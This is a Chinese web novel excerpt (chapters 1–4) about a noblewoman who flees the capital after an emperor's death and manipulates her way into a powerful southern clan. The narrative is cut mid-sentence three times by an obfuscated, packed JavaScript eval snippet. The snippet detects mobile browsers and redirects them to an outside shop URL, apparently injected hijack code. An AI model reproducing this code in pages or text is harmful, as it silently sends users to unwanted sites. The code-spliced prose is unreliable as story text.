《黎姑娘她登基了》 1. 逃亡 苟宅一片死寂。 这日正是寒露，京都已然有了冬日姿态。 主家苟老爷寅时上朝后却再也没见踪影，午间遣了个小厮回来，形色匆匆，独见了大少爷一人，之后，府上被大少爷看管得严实，护院们装戴上藤甲，人手一柄重器。 后厢房，丫头春苗猫起身，朝微微支开的窗低声说着话，环顾四周警惕道：“姑娘，可还有别的法子走？” 窗里、屋内，姑娘也绞着帕子拿不定主意，她侧坐在绣凳上，脚下细软铺满一地，华服罗裙不及她容貌半分好，这会一对儿眉弯弯蹙起，一双桃花眼微垂，如怜悯众生的观音像。 春苗轻手合上窗，守在一旁，她耐心地等姑娘想法子。 虽说姑娘不过是苟府庶女，可府中也就这么一位娇小姐，受尽家中父兄宠爱，姑娘长得好，心也善，平日里对她们这些小丫头不差，春苗很是衷心。 日光渐微，酉时家主仍未归，怪异的是，府中却渐渐松懈下来——大少爷有闲情换了身新衣裳。 “春苗，太太出屋子没？” 姑娘的问话从窗间传出，春苗回了句还未。 “走，我们走！” “姑娘？当真？” 门被推开，苟家大姑娘瘦削的肩上背着厚重的行李，鼓鼓囊囊的，压得大姑娘脸色发白。 “别耽搁了，去庄子。” 大姑娘拿出不容置喙的态势，春苗点头答是，背起行李，一主一仆趁着西下日光偷摸走到南门。 南门是府上过采买的侧门，人来往较少，这会更是空荡无人。 春苗领着大姑娘出门，门外对街有一头小驴车，是春苗爹的，昨日就被大姑娘安排停靠在此。 上了车，大姑娘脸色明显好转，她抓过春苗的手：“好春苗，你只管信我。” 顿了半晌，又开口：“以后唤我黎姑娘吧。” 春苗点头又点头，她见姑娘阖眼养神，心里涌上一股怜惜，这个字怕是从梨姨娘身上取的，姨娘去世得早，想必这些年姑娘一直都念挂着生母，真是可怜啊。 可怜的黎姑娘沉沉睡去。 待醒来后，她首件事便是吩咐春苗拉起帘子，夜里田间土腥的气味充斥鼻尖，春苗翻出一块帕子，试图替主子隔绝这股味道，黎姑娘没多言语任凭春苗照顾。 驴车缓缓停下，春苗揭开门帘，露出一处小院，依山建起，独有一番朴素可爱，院门前反常的亮着一盏灯，另一盏不知是被吹灭了，还是压根没点亮过。 “好像是到了，姑娘，您瞧！” 春苗回头找主子的脸，隐在暗处的那张观音相咧开嘴角，柔声：“是了，我们的新家。” 轻轻叩响门环，一个粗矮的妇人拉开门，她侧身站立，认出春苗身后人，才将门大打开，弯腰见礼，将主仆二人迎进院内，妇人又喊来两个黄毛丫头，才有春苗腰杆高。 “这是马大婆，喜丫头和乐丫头。” 黎姑娘指着人向春苗介绍，她也一一弯身回礼。 主屋已经备好饭菜，春苗闻着味肚子忍不住咕咕作响，她听见黎姑娘轻笑道：“你先用饭吧。” 两个丫头挑水烧去，马大婆伺候黎姑娘回房梳洗，屋内只剩春苗一人。 她没敢坐在桌上用饭，挑选了只有缺的陶碗，满档盛满三勺黍米饭，站在柱子后刨食起来，目光依旧放在门口。 三碗饭下肚，黎姑娘换了身素白的衣裙进屋，月光追在她身后，春苗立马放下碗。 “春苗。” 主屋内忽地暗了下来，原来是风从没合紧的窗缝中钻进来吹熄几根烛，春苗的心也被风吹得隐隐不安。 “明天你去打听下府中情况，隐避些，若我的行踪没漏出去，过段日子你还是家去吧。” 闻言，春苗立马摇头，她说自己本就是姑娘的奴婢，姑娘在哪儿她就在哪儿，求姑娘别遣她回去。 黎姑娘叹气：“你是个好孩子，明个带上这块玉，如何处置全凭你，也给家里留下点念想，以后你跟着我，便再也见不到他们了。” 春苗接过白玉佩，上面刻着黎姑娘的旧名——姣，她不由得悲从中来。 明天起，这世上再没有苟家大姑娘苟姣姣，春苗想着黎姑娘的不幸，又想到自己，与亲人生离，还好姑娘垂怜，这块玉足够爹娘还有弟弟们好好生活。 她紧握玉佩，下跪，扎扎实实磕了三个头。 笠日，还没等鸡鸣。 春苗驾着小驴车就往城里赶，远远见到城墙，却看到墙头上挂满白幡，再往前走，却是无法再前行。 人群在逆行，面上都带着恐慌，春苗耳边飘过言语—— “乱世将至啊。” “天要亡我大乾！” “快归家快归家，要乱了。” 恍惚中春苗抓住路人问：“发生什么事了？不能进城吗？” “驾崩啦，你瞧那幡旗百把，只有天子薨才会这样。” “皇帝死了？那，那是不能进城了吗？” “进城？小丫头，你可知昨晚发生了什么？京都里的血怕是已经流干啦，这会是死城一座！乱臣贼子啊乱臣贼子当道！ 有想闯城门进去或是出来的，皆被当场射杀，你没瞧见，城墙下尸横遍野，有外头的人，却更多是里头扔出来的！京都已成地狱，这世道要乱了，小丫头你快家去吧。” 身下的小驴染上人群里的焦躁和恐慌，哼唧怪叫起来，春苗只好牵着小驴掉头，顺着人流远离京都。 霎时，城墙上的白幡簌簌作响，传到每个人耳中，催促着逃散，声响大得仿佛天地在哀嚎，春苗回望，快回家，却是再也回不去家。 “姑娘！” 步履不停，待回到庄子门前，春苗才发觉自己双腿已经软成面条了，她从小驴身上摔下，扯着嗓子高喊，“皇帝死了！都死了！” “喝口水，别怕，慢慢说。” 入口是甜滋滋的蜂蜜水，春苗抓住椅子把手，狠狠吐出一口气来，这才找回神，她将城外见闻一五一十说出。 末了，春苗犹豫道：“府上，只怕……” 说完，她垂下眼，怕见到姑娘伤心的样子。 安静了好一会，春苗才听见黎姑娘的声音。 “玉呢？” 玉佩！春苗搜摸自己身上，小袋、袖间都没有寻到玉佩，她心道不好，肯定是拥挤混乱中丢了！ 春苗吞吞吐吐说出玉丢了，羞愧难当，可意外的是，她心中的不安反倒消散，“丢了玉，想必是天意，让那玉替姑娘挡灾了。”春苗搜刮着说辞好让自己丢玉的罪轻些。 “挡灾啊，那便作罢吧。” 这桩事，落到春苗头上也只剩这句轻飘飘的话，她就说，姑娘是最心善的。 皇帝死了，晚饭还得吃。 黎姑娘吩咐道，将庄上值钱的物件全都整理出来，大件挖坑藏起来，细软都带上身，衣裙全换成结实的粗布短衣长裤，以及晚饭——“把鸡鸭全宰了，做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349346|199584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿好饭来。” “如今连天子……”黎姑娘有意避开死字，“马大婆和两丫头常年替我看护宅子，春苗更不说，在苟宅伴了我那么多年，从前的事都不做数，我也不敢托大自称主子。” 两个小丫头摆出哭脸，春苗也咬紧牙。 她生怕黎姑娘扔下她们，平日里放奴归家也不算桩好事，更何况现在。 可是，春苗依旧体恤黎姑娘，她也难做，她再心善也顾不得奴婢。 春苗又一次怨恨自己，若自己是个小厮，这会还能护上主子，不至于被抛弃。 春苗上一次怨恨自己是个女人时，还得属爹娘求了体面让弟弟归良籍，若自己是长子，也能不作奴仆，出去做工或是读书考试。 “快别皱眉头，一个个都是死心眼的，我这会丢了你们，岂不是丢了良心？”黎姑娘的话又响起，“以后，你们不用当我是主子，咱们就是一家人，彼此间相互扶持才能在这世道活下去啊。” 马大婆拉着丫头们给黎姑娘磕头，姑娘摆手让他们起来，春苗还没跪下去就被扶起，女人们哭花脸，相互紧握着手。 “用饭吧。”黎姑娘道。 春苗踌躇着不敢下筷，这还是她头次上桌吃饭，喜丫头夹上一筷子肉到她碗里，春苗咬了一口细细咀嚼着，真香啊。 皇帝死了会有新的皇帝上任，皇权交替中城郊官道上已跑死马儿，天子驾崩的消息从京都发送到各郡县，何人谋逆以及新皇登基的消息却迟迟未听闻。 京都，王朝的政治中心，居然出现了空白期。 “拖不得了！姑娘，咱们得去鄂州啊。” 一夜未好眠，初生还冒着凉气的晨光照着黎姑娘，她的眉紧紧蹙着，马大婆领着三个丫头直挺挺跪着，看向黎姑娘的眼神全是祈求。 “去吧。” 随着鸡鸣，黎姑娘的话中带着千万个不愿。 还是启程，南下前往鄂州，五人一驴上路，马大婆让大家捆住头发，又往面上、领口涂抹污泥。 停停走走，女人们脚程练出来，倒也不觉得难走，半月多余，还是没半点新皇的消息，路上渐渐多流民和盗匪。 太阳照常升起，春苗走不动了，她又饿又渴，身后两个小丫头也没了半点力气，马大婆掰开仅剩的干粮分给大家。 “姑娘，吃食不够了。” 避开三个孩子，马大婆向黎姑娘诉苦，“姑娘的驴是不敢动的，恳请姑娘让我再去筹些来吧。” 黎姑娘此时狼狈的样子比马大婆的枯面皮还要瘆人，她坐在日头下，脸瘦得凹陷，半晌她开口，唇瓣灰白紧紧粘在一块，扯动吐字之时唇舌皲裂，微小的褐色血珠冒出头，黎姑娘舔着嘴，说出的话是：“我不好，鄂州这段路害得孩子们受苦了啊。” 闻言的马大婆神色骤变，扑跪在黎姑娘身前，把头低到姑娘脚下的泥土中去，她几乎是哀切地祈求：“姑娘心好，都是老婆子的错，只最后一次，马上就到鄂州，日后便是顺畅美满，再不会流落荒野、缺衣短食了啊。” 幽幽叹气响起，马大婆知道黎姑娘是答应了。 “马上到鄂州了，休整一下再行进。”黎姑娘叫来三个丫头，说起旧日里关于鄂州的风土人情，引得大家心驰神往，忘了疲惫和饥饿。 晚一点，马大婆回来了，带着吃食，春苗心下惊讶——她竟然没察觉马大婆离开了。 更让她心惊的是，越往南越是弹尽粮绝，流民遍野的周遭，哪里又能讨得来吃食呢！ 2. 入城 “你得争！你得抢！” 女人白得发青的脸越靠越近，咧开的嘴继续张开，齿舌喉管看得明晰，压得近近的，反倒糊作一团，女人边咳嗽边嘶叫，声音很重很低，像是千辛万苦撕开肺吐出的恨意。 苟姣姣惊醒，原来是梦，她又梦到姨娘了，姨娘走得早，音容相貌早已记不清，独独这句话，铭刻在幼女的脑中，经年累月未敢忘却。 耳边是虫鸣，南下的路上已经听惯，以天为被地为席也能睡得着，苟姣姣——黎姣姣坐起身来，手掌盖在泥土上，湿润又绵密，偶有几颗小草瘙得手痒痒。 黎姣姣又念起刚刚的梦，她这人不信佛祖，但迷信自己，她总觉得冥冥之中，是自己在领着自己前行。 丫头春苗迷糊醒来，见主子已经起身，揉着眼睛过来问：“姑娘是饿了吗？” “睡不着罢了，你再眯会吧，马上天明了，有我和马大婆守着。”黎姣姣放低嗓子。 哄走春苗，黎姣姣踱步到马大婆身后。 妇人佝偻着背，竖抱一口铁锅，锅把深深插进土里，她的脑袋搭在锅底上睡得安稳，黎姣姣注视着她，发觉妇人耳朵做动，连忙说了句：“是我。” 再迟一刻，黎姣姣怕这口锅得砸破自己的脑袋。 这老货，心里叹气道。 马大婆睁眼，眼里哪有半点困倦，起身动作利落，她收好锅，问出同样的话。 “不饿。”黎姣姣摇头，“只是右眼皮一直跳，心下也不安得很，马上就要到鄂州，你可知许家小姐的表家是……” “于家，这奴知晓，是鄂州最鼎盛的世家，最是清贵守律，姑娘您也放一百个心，我做得都干净。”马大婆又道：“再说，一路上盗匪横行，死人最正常不过。” “我们妇孺一行，只是为求自保。”马大婆目光如炬，心里当真磊落没半点阴霾。 要是知晓干粮都是劫杀所得，正在熟睡的三个丫头是否还能睡得安稳？ “罢了。” 黎姣姣叹气，戚戚然的模样，可心底压根没当回事，饿了吃饭，天经地义，至于饭从哪来？自有人。 “我又干净到哪里去，米粮都入腹中，竟是同嚼人血肉，还将骨头敲碎吃净一样，活成这般，还有什么脸去找许妹妹，去求人收留我们，要我说，一开始就不该动心到鄂州来。” “好姑娘！您的置业都在京都近郊，留下是等死，可再寻他处又何尝不是找死呢，唯有许家小姐，与您旧相识，又和她母亲有缘分，您非是逃难去寻她，这满匣子地契银票，还有她母亲交由您的物件，这番全当还她，若她心善留您住下，最美满不过，否则，奴拼了命也得给您挣个落处！” 听到马大婆这话，黎姣姣暗自满意，自她离开苟府，可巧皇帝死了，还遇上的是谋逆，世道一乱，她的微薄家产是护不住自个的，想活命就得在乱世寻处金城汤池。 她倒是第一时间想到许家女，只是逃难过去未免太跌份，黎姣姣是命不能丢，面子也不想舍，不愿凭空矮那小姐一头，就算去，也得找些由头。 正想借口呢，马大婆劝到心坎上了，南下鄂州归还遗物！ 一个老货，三个蠢货，要不是她一人行路艰难，黎姣姣万不可能发善心带上她们，多个人多张口，荒郊野地里养活得起几个人？ 什么家人、良心的黎姣姣不大在意有无，她嘴上说一家人相互扶持，其实怕极世道一乱，自己这把骨架子还不够野狗一顿吃的。 她得自保。 路上也不是没想过扔下一张嘴，在黎姣姣看来，小丫头可以丢一个，丢一对更好，只可惜马大婆把两个野丫头看得比命重，春苗的死活倒无人在意，黎姣姣没让这个家生子去死，无非是担忧自己拿捏不牢马大婆三人，她真成孤家寡人了。 只好少自己一口吃食，匀一些给丫头们，还得喂一些给驴，如若真靠黎姣姣双腿走去鄂州，那她宁愿死守在庄子上。 幸好马大婆懂事，会自觉出去找吃食。黎姣姣只需吃完饭，装出良心不安的样子，演到鄂州，这出戏就该落幕了。 又回到官道上，车辙、步痕将道路碾得不复规整，随处是被刨开的土堆，灰土混着干萎稀碎的根须，远处城镇飘摇的烟气更加突兀，那便是鄂州城。 马大婆没舍得扔下她那口锅，重重的行囊高高地顶上一口锅，从身后看很像是一座荒蛮的山，她走近黎姣姣，更衬得自己粗蛮厚壮。 “丫头们都梳洗好了吗？” 春苗回声，说是都好了。 喜乐两个丫头总算是梳洗净泥污混迹的头发，春苗偏坐在黎姑娘脚边，手上没停穿线的动作，想将省下来的干净布头缝制出两件体面小罩衫。 她知道，此番上门难免会被白眼，一行人太过狼狈是绝不可的。 黎姑娘换上碧蓝色儒裙，嫩黄色立领小衫照得小脸有了些光彩，春苗翻出一条桃色批帛和仅存的金玉首饰，都被黎姑娘摇头拒绝。 “你是有心，但许家妹妹从不以衣取人，再者，从京都来鄂州，本就是逃难，装作赴宴干什么呢。” 胡乱穿得不成体统更显得寒酸，黎姣姣嘴上说着许家女好话，眼前却已浮现此女讥笑的面容，好想寻面退堂鼓来打一打。 春苗点头，但嘴里还是念叨：“小姐心好，但那许家小姐多年未见，谁知道心变了不曾，当初您可是从三品大臣之女，如今落难……” 说着说着，春苗眼眶红红，她忧心进了鄂州城，自家姑娘怕是要低到尘埃里去，任人欺侮，偏又是个软性子，往后的日子该如何过呀！ 黎姑娘搂住春苗，摸着她的发鬓，叹息般：“好春苗啊。” 净会戳她痛处！ 还是入了城，一墙之隔的道路竟走得艰难，比从京都到鄂州这段人吃人的野蛮道路还要艰难。 流民几乎是用人肉之躯堵塞住通向城门的道路，守城的官兵铁甲覆面背靠城墙手里都握着长枪，一波一波的人群冲击向前，队伍先头的人撞上枪头，血流一地，后面的人扒开死人又往前撞，一方寸步不让，一方拿命前冲，城门不动声色，死人越来越多，到傍晚换了一批官兵来，他们面前已有一道血肉模糊的壕沟。 黎姑娘还是入了城，半夜才有世家望族派人开城门、接妇孺，毕竟年富力强的人都成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349347|199584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为壕沟坚稳的基石了。 混迹在人群里，春苗和两个小丫头紧紧贴住黎姑娘，马大婆靠在四人身后寸步都不让，她们几乎是抱作一团进的城。 流民们被安排在一处寺内暂住，已经是后半夜，贵人们肯放人入城已经是最大的恩典，至于这群人还想吃饭、睡个暖和觉、有地撒尿拉屎？赶明儿等贵人们醒来再说吧！ 黎姣姣抬头没去看皎洁的月、明朗的星，反而盯着黑瓦檐下宝蓝色大底的飞天图，描金的神女半隐在祥云后，舒展双臂盘曲小腿轻飘飘地悬浮。 终于回到凡尘中。 南下这段人吃人的路，只全为果腹，像是未教化的野蛮人，但入了城，这般仁义的“吃人”之举，文明许多，黎姣姣更适应后者。 可惜城门口悬挂着的那一排头颅，面目可憎了些，个个鼓着眼，有什么好不瞑目的呢。 随着流民进城，鄂州县府被推翻的消息也一并宣扬开，做官的、守门的纷纷身首两离，脑袋被崔家家主差人挂上城门示众。 崔家言，人人均为大乾之民，特殊之境况不宜守旧分户籍、隔良民以伤百姓，今日之事全为县府过错，亦为逆反贼子错，鄂州崔于两家愿庇佑山南道治下三十二县，并即将汇合北下护国将军回京都扶正统！ 越过崔家老头满面春光的褶子脸，黎姣姣一眼就看到女眷当中——许家女的脸。 那张未经风霜的脸，出落得动人，头上戴着金丝明珠，身上穿着缕金牡丹绯色广袖裙，臂上披着青银锦帛，站在高处跟神仙妃子有何区别。 壁上栩栩如生的神女相亦逊色她半分。 见她过得好，黎姣姣放宽心了，就怕救命稻草太脆，挂不住她们。 “马大婆，今日我远远好似瞧见了许妹妹。” 黎姣姣开口，眼下已到鄂州，如何登堂入室呢？ “入城那会？城楼上都是世家女眷，城中最尊贵的女人们，看来南下是没错的，她必定有能力庇护姑娘。” “见妹妹过得好我也能安心，只有一点，咱们不可挟她显贵就逼着人家看照我们，你们几个小丫头也得记住，如今我们不是客，是逃难的，难免受到轻慢，万不可放心上，实在委屈来告诉我，咱们再寻去处。” 三个丫头脆声答应。 喜乐丫头还拍着胸脯道：“我们才不怕受委屈！” 马大婆听了后，又是叹气，又是微笑。 过会，她悄悄侧过身朝黎姑娘耳语：“姑娘，将信物给我吧，我有法子使许家小姐来接人，咱们不用亲自上门去求，白丢脸面。” 黎姣姣垂下眼，从里兜摸出一张帕子。 犹豫再三还是说出：“莫强求。” 想来使出这个法子后，马大婆很难善终。 马大婆点点头，又挨个摸摸丫头们的脑袋，躲进暗夜里轻步失了身影。 为了替她们博一丝生机，不惜舍自己一条命，黎姑娘牢牢拢住喜乐两丫头，她细细品出一点道理来——驱使人，把柄永不如心好用。 得人心，又是黎姣姣的拿手好戏，她放下额前的一丝碎发，靠在春苗柔软的胸脯上睡去。 3. 于府 在寺中等信的日子过得很快，此中全是妇孺，于是生活过得井井有条又和睦温馨，女人们自发分成煮食的、浆洗的、看护的。 黎姣姣做不来这些活计，又不想无所事事显得格格不入，于是装模作样翻弄起住持丢下的两本经书，她识得几个字，眼中暗色闪过，有了主意。 都是一路颠沛流离，见过血肉尸块，日子上了正轨，可心安不下来。 日头下，黎姑娘端正地跪坐在草席上，她一手翻动经书，一手轻点信女前额，嘴里念着经文，奠亡者告生者。 只消念两句经文，便得一人感恩戴德，世上没有比这再合算的生意。不过，有生意就有竞争，何况她个外来的假和尚，名头一盛，一直高高挂起的住持大人也肯下俗世腌臢地来见她。 老秃驴顶着满头结痂的疤，见到黎姑娘的第一句话是——“怪……” 一连三个怪字让黎姣姣的笑快挂不住，她敏锐地捕捉到一圈听者疑惑又自明的神色，忍了又忍：“不知住持为何特意寻我，要不找块清净地，我还好向您讨教一番佛法。” 围过来的人渐多，黎姣姣不在意秃驴说什么，但还想留下神棍身份好继续混下去，愚民便是如此，自己胡诌两句经文能得敬仰，佛祖戳印的秃驴说言更不得奉为圭臬？ 换到静处，老秃驴果然道：“罪因惑起，惑因爱生，施主年纪虽小，但业果深重。” “听不懂。”黎姣姣露出盈盈笑意，这秃驴的眼神像是在瞧十恶不赦的罪人，爱？惑？罪？ 她没有过爱，也没爱过，活得明明白白，佛祖是存心派头秃驴来戏弄她不成？ 住持合掌，未再多解释，只留一句：“施主与善无缘，与佛家无缘，此处也留不下施主，离开本寺吧。” “住持莫要说笑，离开？您是久居佛祖圣地，不晓得外边尸横遍野的世道？让我离开，跟逼我去死何异。” 黎姣姣仰着头偏过脸盯着秃驴瞧。 一旁听墙角的春苗，见主子有异，立马冲过来把黎姑娘护在身后，她的头也仰得高高的，嗓门更大： “早就知道恩慈寺嫌弃我们，却不想正大光明地赶我们！婶子们，来评评理，经过这几日我们姑娘人品如何大家心里都有杆秤，这老师傅先说我们姑娘与佛家无缘，又要赶我们离寺！如此欺辱，我就是一头撞死在柱前，也决不让我家姑娘受此委屈！” 静处拥上人，也嗡嗡的嘈杂起来，有妇人开口：“黎姑娘是好人呐，住持为何要赶人？” 更有人恨声：“住了这几日，未见寺里照拂过，一针一线、一米一盐全是我们这些弃了家的流民自己去讨要来的，你们出家人的慈悲心肠去哪了？” “是崔家放我们入城的！好一个均为臣民，留我们在这不管不问，死掉的孩她爹也没个说法，要我说，佛祖显灵，先把这群烂心肠的杀死！” 隐隐惹起群愤，住持依旧合掌不语，许是出家人的自傲，又或是口舌拙笨怕越说越错。 总之，黎姣姣抓住这当口，攻他短处：“您以为举手合十便能阿弥陀佛？您的罪孽佛祖就能容忍，就能宽宥，就能得允苟活在这处？合该我们罪无可恕？合该连城门都踏不进的壮士们就该死？哪有这般的佛祖，只怕是您！” “别有私心。” 最后这句话，黎姣姣一字一字念得抑扬顿挫，她故意说得激昂，故意攀扯上城门送死的那批人，想赶她走？惹女人或是男人，都不要惹一个业果深重的人。 就这时，有人站在洞门处高喊：“有马车！” 如投石入湖，把每个人的心都惹起涟漪，又高喊：“是于家！放我们入城的于家！” 春苗牵着两个小丫头偷偷挤过来，她握住黎姑娘的手，姑娘的手软乎乎的，脉搏相贴，手心相对，濡湿一片。 “姑娘。” 黎姣姣捏紧春苗的掌心，她们的救星来了，南下寻求的金城汤池自个跑来了。 许家小姐来寻人时便是看见这一幕，拥挤人群中，张张面容重合，都是挂着渴求的目光，唯独煦日照得一人侧脸如玉壁，待她扭头，那双琥珀般的眸子盯过来——“苟姐姐！” “玟素，你居然长得这么大了。” 黎姣姣经受不住许玟素生扑过来，身子晃悠着被春苗扶住，她手掌伏上胸口微微喘气，春苗略带怨气开口：“许千金行行好，我家姑娘本就体弱，这一路颠簸吃尽苦头，如今可受不了您这般热情。” “春苗！”黎姣姣佯装发怒。 许玟素急急接过话：“是我不好，苟姐姐快随我家去吧，家中有全鄂州最好的医师，姐姐的身子得好好养养，现下太瘦了，京都传出消息后我一直惦挂着姐姐，没想今天见到面还更让我痛心。” 于家护卫将两位小姐围着离开人群，黎姣姣交代春苗，让她把余下的细软吃食都留给寺中妇孺，然后又隔着人群朝住持遥遥一拜，说：“女子德行有亏，愿自行离寺，希望恩慈寺能怜惜这些婶婶孩子们。” 一步一步踏上台凳。 “愿姑娘日后安好。” “路程安顺！黎姑娘！” 许家小姐稀罕道：“祖母还怕流民之辈多无赖，来接姐姐这遭恐有动乱，真见了倒也是有礼的。” 她又对黎姣姣说：“没想到堂堂恩慈寺居然做出赶人的事，回去我就告给祖母和崔爷爷！本意原都是好的，却叫底下做坏了，这事传出去，鄂州崔于两家的脸面何存。” “是啊。”黎姣姣轻飘飘接过话，春苗还举着帘子往下分发物什，多是许玟素大发善心提供的。 人坐在高处，哪怕只是坐在马车上，往下瞧，底下面孔居然模糊得一致，好似未上色的泥偶。 黎姣姣眯起眼，找到一个穿粗麻衣裳的——她丈夫还在城门沟里零散着，她来求过往生咒。 另一个缺衣短袖的，她命好，丈夫也死了，不过两个孩子还酣睡在侧，她是来求安神咒的。 还有这个、那个…… 人生一世，不过而而。 车驾往外驶出，这是一条顺畅路。 许玟素牵过黎姑娘的手，上下仔细打量她。 “苟姐姐从前在家中都是娇养的，衣裙是蚕丝锦缎，首饰也是花样最新最好的，现在……”她重重叹气，“好在，我们姐俩又在一块了，放心吧姐姐，我这儿最安稳不过，莫说换个皇帝，就是换朝改代也撼动不了鄂州于家。” 黎姣姣挂上笑，不语。 许家，在京都不过是个清闲外姓宗亲家，空有个世袭的公爵名头，许玟素的母亲倒是顶有名的于家长女，只可惜体弱，活得不长。 临终前，于家女强撑病体一篇缴文状告到户曹司，荣恩许府霸占正妻私产，这桩官司甚至闹到御前，最后皇帝下旨将荣恩公削爵，令其尽数归还于家女私产。 这道旨意，将于许两家劈成沟壑，两家人立下誓来死生不相往来，许家小女和娘亲被接回鄂州于家。 于家女，却是倒在回乡的车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349348|199584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程上，自二十岁出嫁那年离家，蹉跎十年婚姻之后，仍未归家。 经此一别，黎许两女已有五六余年没见过面，书信是有往来，但寥寥字句建立的感情又有多坚固呢，见许家小姐态度热情，一路上嘘寒问暖未曾停过，春苗松了口气。 言语间，车驾停住，春苗率先探身往外瞧——朱红大门两边是威风凛凛的镇宅兽，门下小厮衣着皆不凡，正门横匾题有于氏固泽四个大字。 鄂州于氏，好大的派头。 一家屋宅盘踞大半条街，隔着围墙往里望，厅殿楼阁高高角，峻宇雕墙，晻暧蓊蔚。 春苗收起自己的震惊，装出一副荣辱不惊的样子扶住黎姑娘下车。 身后喜乐两个丫头也努力收好自己的视线不乱撇。 主仆一行人从正门入，黎姣姣坐上一顶小轿被仆妇抬着去见于氏老太君，过这一遭她算明白，许玟素在于家的地位比她原想的还要高，一个表小姐而已，却连来投奔表小姐的外客都能有如此待遇。 轿停，春苗打开帘子扶姑娘下轿，穿过垂着紫藤花的窄门，两边是抄手游廊，当中是一拱玲珑的太湖石，层叠背后是处小小的三间厅，仆妇们退下，年轻的婢女鱼贯而入，手上端着玉雕矮脚莲花炉，一股药香弥漫开来。 “外祖母不喜异味，请姐姐见谅。”许玟素怕黎姣姣多想，向她倒豆子般说了老太君的许多忌讳，“不过外祖母这算是好的，待姐姐见过我表哥，那才是个挑剔货。” 黎姣姣顺从一笑，不作他言。 净过手，焚完香，穿过厅后便是正房大院，碧瓦朱甍，罗帏绣栊，两边穿山游廊厢房，挂着象牙小笼，养着许多艳丽活泼的鸟雀。 台阶上，叉腰站着几个锦衣小丫头，一见来人，便忙都笑迎上来，说：“终于等到小小姐来见老太君，她从晨起就念叨着您，怕您去那腌臜处寻人受委屈，两位太太陪了一天也没得半点笑脸。”几人七嘴八舌抢着说话，又争着打起帘笼，回话：“两位姑娘来了。” 黎姣姣有意落后许玟素半步进房，一脚踏入，就听见老妇人的声音：“雀娘快来祖母这里。” 许玟素甜甜应声，如同只小蝴蝶轻盈地跑向前去，黎姣姣顺着看去，那位鬓发如银的老妇人露出慈爱笑容，她摸摸许玟素脑袋，目光放向黎姣姣，问：“这是苟家大姑娘？” “老太君安好，家父正是苟谌安。” “光禄大夫的女儿，如何独身来到鄂州了？” 黎姣姣提起衣裙，俯身跪下，双手端上额顶，朝于老太君行礼，她竖声：“承蒙菩萨观音庇佑，世道动荡，本该看顾好自己，只是年幼时曾受于太□□惠，受卿之托忠卿之事，拼下这条命也要将做到，我特来求老太君救命！” 从袖间摸出一块玉玦，黎姣姣拱手呈现，“太太曾将京都及京兆府二十六县各处私产交由我打理，这些年我一直勤于看顾，如今一乱，再也无余力照料，若只是金银钱财等死物，我倒不急于南下来寻助，但各处田庄佃户，亦是太太临终之托，我此行，只求老太君看在太太慈爱之心，想法子救救这些人吧！” 许玟素听得动容，她轻柔地搂上老太君胳膀，说：“祖母，世上可再难见苟姐姐这般菩萨人物了。” “好孩子，你先养好自个。” 于老太君柔声，吩咐着丫头将黎姑娘扶起，“是个君子人物，雀娘没接错人。” 黎姣姣听出老太婆话里的缓和，只是还不够。 还不够！ 4. 解释 黎姣姣清楚，“独身”的言下之意——她一个小姐，后宅里长大的弱女，如何避过京都的血雨腥风，上至皇帝下到大臣，独她一个逃出了？ 她搪塞的这番话，没有正面回应，反倒给自己套了层枷锁，万一老太婆真成全她，回去救那群农户怎么办！黎姣姣既然千辛万苦来了鄂州，来了这处坚固堡垒，她决不愿再过上飘零的生活。 果然，留她吃了茶点歇息过会，于老太君将她一人叫到于家祠堂中去。 路上，黎姣姣疯狂转动起脑筋来，她要寻一个万无一失的应对，静心！她在心中对自己训道。 无非是个老太婆，长得跟早死的许家太太差不多，自己当年如何哄得许家太太的私产田庄，今日也能哄过这老货。 闭上眼，黎姣姣给自己鼓劲：“黎姣姣，你只需静心，对付女人而已。” 小轿停靠，微微倾斜，仆妇道：“苟姑娘，到了。” 素手掀开轿帘一角，探出张疲态仍不掩俏丽的脸，她规矩地盯着脚下，亦步亦趋跟着引路人。 小丫头们早早被拦在小厅外，现在就连许玟素也不在身边，黎姣姣只得跟着陌生仆妇走入一黑油大门中，又过两道仪门，青石做的仪门头，高有四五米，飞檐翘角，压得黎姣姣短了气，心中那些小心思渐渐消散，她开始想着若是舍下脸皮还能否赖在于氏。 到了祠堂，不似正屋轩峻壮丽，院中树木郁郁黑得吓人，湖石也怪异得不寻常，黎姣姣半点脑筋都不敢动，百年世家面前，自己太过渺小，于是彻底老实下来。 一时进入堂中，早有素服仆妇迎着，老太君端坐右侧首位，下方坐着两位清丽妇人，便是先前说的两房太太，于老太君让黎姣姣也坐下，又命人去请大少爷。 